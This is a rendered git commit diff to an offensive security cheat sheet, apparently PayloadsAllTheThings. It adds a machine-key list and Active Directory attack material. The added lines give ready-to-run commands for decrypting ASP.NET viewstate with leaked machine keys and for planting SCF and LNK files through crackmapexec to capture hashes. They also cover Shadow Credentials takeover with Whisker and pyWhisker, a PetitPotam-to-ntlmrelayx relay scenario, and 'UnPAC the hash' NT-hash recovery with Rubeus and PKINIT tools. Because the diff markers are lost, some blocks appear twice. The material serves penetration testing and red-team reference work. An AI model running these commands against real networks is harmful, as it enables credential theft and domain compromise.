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UnPAC The Hash + MachineKeys.txt

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Swissky 2021-10-26 21:56:39 +02:00
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3571
API Key Leaks/Files/MachineKeys.txt Normal file
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4
API Key Leaks/README.md
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@ -165,7 +165,9 @@ $ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata <real viewstate
```powershell
$ viewgen --decode --check --webconfig web.config --modifier CA0B0334 "zUylqfbpWnWHwPqet3cH5Prypl94LtUPcoC7ujm9JJdLm8V7Ng4tlnGPEWUXly+CDxBWmtOit2HY314LI8ypNOJuaLdRfxUK7mGsgLDvZsMg/MXN31lcDsiAnPTYUYYcdEH27rT6taXzDWupmQjAjraDueY="
$ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=CA0B0334 --macdecode
$ .\AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=CA0B0334 --macdecode
$ .\AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"
```

77
Methodology and Resources/Active Directory Attack.md
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@ -58,6 +58,7 @@
- [OverPass-the-Hash (pass the key)](#overpass-the-hash-pass-the-key)
- [Using impacket](#using-impacket)
- [Using Rubeus](#using-rubeus)
- [UnPAC The Hash](#unpac-the-hash)
- [Capturing and cracking Net-NTLMv1/NTLMv1 hashes](#capturing-and-cracking-net-ntlmv1ntlmv1-hashes)
- [Capturing and cracking Net-NTLMv2/NTLMv2 hashes](#capturing-and-cracking-net-ntlmv2ntlmv2-hashes)
- [Man-in-the-Middle attacks & relaying](#man-in-the-middle-attacks--relaying)
@ -750,6 +751,14 @@ IconFile=\\10.10.10.10\Share\test.ico
Command=ToggleDesktop
```
Using [`crackmapexec`](https://github.com/byt3bl33d3r/CrackMapExec/blob/master/cme/modules/slinky.py):
```ps1
crackmapexec smb 10.10.10.10 -u username -p password -M scuffy -o NAME=WORK SERVER=IP_RESPONDER #scf
crackmapexec smb 10.10.10.10 -u username -p password -M slinky -o NAME=WORK SERVER=IP_RESPONDER #lnk
crackmapexec smb 10.10.10.10 -u username -p password -M slinky -o NAME=WORK SERVER=IP_RESPONDER CLEANUP
```
#### URL Files
This attack also works with `.url` files and `responder -I eth0 -v`.
@ -1594,32 +1603,43 @@ C:\Rubeus> john --format=krb5asrep --wordlist=passwords_kerb.txt hashes.asreproa
### Shadow Credentials
Requirements :
> Add **Key Credentials** to the attribute `msDS-KeyCredentialLink` of the target user/computer object and then perform Kerberos authentication as that account using PKINIT to obtain a TGT for that user.
:warning: User objects can't edit their own `msDS-KeyCredentialLink` attribute while computer objects can. Computer objects can edit their own msDS-KeyCredentialLink attribute but can only add a KeyCredential if none already exists
**Requirements**:
* Domain Controller on (at least) Windows Server 2016
* PKINIT Kerberos authentication
* An account with the delegated rights to write to the `msDS-KeyCredentialLink` attribute of the target object
Add **Key Credentials** to the attribute `msDS-KeyCredentialLink` of the target user/computer object and then perform Kerberos authentication as that account using PKINIT to obtain a TGT for that user.
**Exploitation**:
- From Windows, use [Whisker](https://github.com/eladshamir/Whisker):
```powershell
# Lists all the entries of the msDS-KeyCredentialLink attribute of the target object.
Whisker.exe list /target:computername$
# Generates a public-private key pair and adds a new key credential to the target object as if the user enrolled to WHfB from a new device.
Whisker.exe add /target:"TARGET_SAMNAME" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /path:"cert.pfx" /password:"pfx-password"
Whisker.exe add /target:computername$ [/domain:constoso.local /dc:dc1.contoso.local /path:C:\path\to\file.pfx /password:P@ssword1]
# Removes a key credential from the target object specified by a DeviceID GUID.
Whisker.exe remove /target:computername$ /domain:constoso.local /dc:dc1.contoso.local /remove:2de4643a-2e0b-438f-a99d-5cb058b3254b
```
- From Windows, use [Whisker](https://github.com/eladshamir/Whisker):
```powershell
# Lists all the entries of the msDS-KeyCredentialLink attribute of the target object.
Whisker.exe list /target:computername$
# Generates a public-private key pair and adds a new key credential to the target object as if the user enrolled to WHfB from a new device.
Whisker.exe add /target:computername$ /domain:constoso.local /dc:dc1.contoso.local /path:C:\path\to\file.pfx /password:P@ssword1
# Removes a key credential from the target object specified by a DeviceID GUID.
Whisker.exe remove /target:computername$ /domain:constoso.local /dc:dc1.contoso.local /remove:2de4643a-2e0b-438f-a99d-5cb058b3254b
```
- From Linux, use [pyWhisker](https://github.com/ShutdownRepo/pyWhisker):
```bash
# Lists all the entries of the msDS-KeyCredentialLink attribute of the target object.
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "list"
# Generates a public-private key pair and adds a new key credential to the target object as if the user enrolled to WHfB from a new device.
pywhisker.py -d "FQDN_DOMAIN" -u "user1" -p "CERTIFICATE_PASSWORD" --target "TARGET_SAMNAME" --action "list"
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "add" --filename "test1"
# Removes a key credential from the target object specified by a DeviceID GUID.
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "remove" --device-id "a8ce856e-9b58-61f9-8fd3-b079689eb46e"
```
- From Linux, use [pyWhisker](https://github.com/ShutdownRepo/pyWhisker):
```bash
# Lists all the entries of the msDS-KeyCredentialLink attribute of the target object.
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "list"
# Generates a public-private key pair and adds a new key credential to the target object as if the user enrolled to WHfB from a new device.
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "add" --filename "test1"
# Removes a key credential from the target object specified by a DeviceID GUID.
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "remove" --device-id "a8ce856e-9b58-61f9-8fd3-b079689eb46e"
```
**Scenario**:
- Trigger an NTLM authentication from `DC01` (PetitPotam)
- Relay it to `DC02` (ntlmrelayx)
- Edit `DC01`'s attribute to create a Kerberos PKINIT pre-authentication backdoor (pywhisker)
- Alternatively : `ntlmrelayx -t ldap://dc02 --shadow-credentials --shadow-target 'dc01$'`
### Pass-the-Hash
@ -1695,7 +1715,21 @@ root@kali:~$ klist
.\Rubeus.exe asktgt /user:Administrator /rc4:[NTLMHASH] /createnetonly:C:\Windows\System32\cmd.exe
```
### UnPAC The Hash
* Windows
```ps1
# request a ticket using a certificate and use /getcredentials to retrieve the NT hash in the PAC.
C:/> Rubeus.exe asktgt /getcredentials /user:"TARGET_SAMNAME" /certificate:"BASE64_CERTIFICATE" /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show
```
* Linux
```ps1
# obtain a TGT by validating a PKINIT pre-authentication
$ gettgtpkinit.py -cert-pfx "PATH_TO_CERTIFICATE" -pfx-pass "CERTIFICATE_PASSWORD" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"
# use the session key to recover the NT hash
$ export KRB5CCNAME="TGT_CCACHE_FILE" getnthash.py -key 'AS-REP encryption key' 'FQDN_DOMAIN'/'TARGET_SAMNAME'
```
### Capturing and cracking Net-NTLMv1/NTLMv1 hashes
@ -3127,7 +3161,7 @@ CME 10.XXX.XXX.XXX:445 HOSTNAME-01 [+] DOMAIN\COMPUTER$ 31d6cfe0d16ae
* [New lateral movement techniques abuse DCOM technology - Philip Tsukerman - Jan 25, 2018](https://www.cybereason.com/blog/dcom-lateral-movement-techniques)
* [Kerberos Tickets on Linux Red Teams - April 01, 2020 | by Trevor Haskell](https://www.fireeye.com/blog/threat-research/2020/04/kerberos-tickets-on-linux-red-teams.html)
* [AD CS relay attack - practical guide - 23 Jun 2021 - @exandroiddev](https://www.exandroid.dev/2021/06/23/ad-cs-relay-attack-practical-guide/)
* [Shadow Credentials: Abusing Key Trust Account Mapping for Account Takeover - Elad Shamir - Jun 17](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab#Previous%20Work)
* [Shadow Credentials: Abusing Key Trust Account Mapping for Account Takeover - Elad Shamir - Jun 17](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab)
* [Playing with PrintNightmare - 0xdf - Jul 8, 2021](https://0xdf.gitlab.io/2021/07/08/playing-with-printnightmare.html)
* [Attacking Active Directory: 0 to 0.9 - Eloy Pérez González - 2021/05/29](https://zer1t0.gitlab.io/posts/attacking_ad/)
* [Microsoft ADCS – Abusing PKI in Active Directory Environment - Jean MARSAULT - 14/06/2021](https://www.riskinsight-wavestone.com/en/2021/06/microsoft-adcs-abusing-pki-in-active-directory-environment/)
@ -3137,3 +3171,4 @@ CME 10.XXX.XXX.XXX:445 HOSTNAME-01 [+] DOMAIN\COMPUTER$ 31d6cfe0d16ae
* [Certified Pre-Owned - Will Schroeder - Jun 17 2021](https://posts.specterops.io/certified-pre-owned-d95910965cd2)
* [AD CS/PKI template exploit via PetitPotam and NTLMRelayx, from 0 to DomainAdmin in 4 steps by frank | Jul 23, 2021](https://www.bussink.net/ad-cs-exploit-via-petitpotam-from-0-to-domain-domain/)
* [NTLMv1_Downgrade.md - S3cur3Th1sSh1t - 09/07/2021](https://gist.github.com/S3cur3Th1sSh1t/0c017018c2000b1d5eddf2d6a194b7bb)
* [UnPAC the hash - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/kerberos/unpac-the-hash)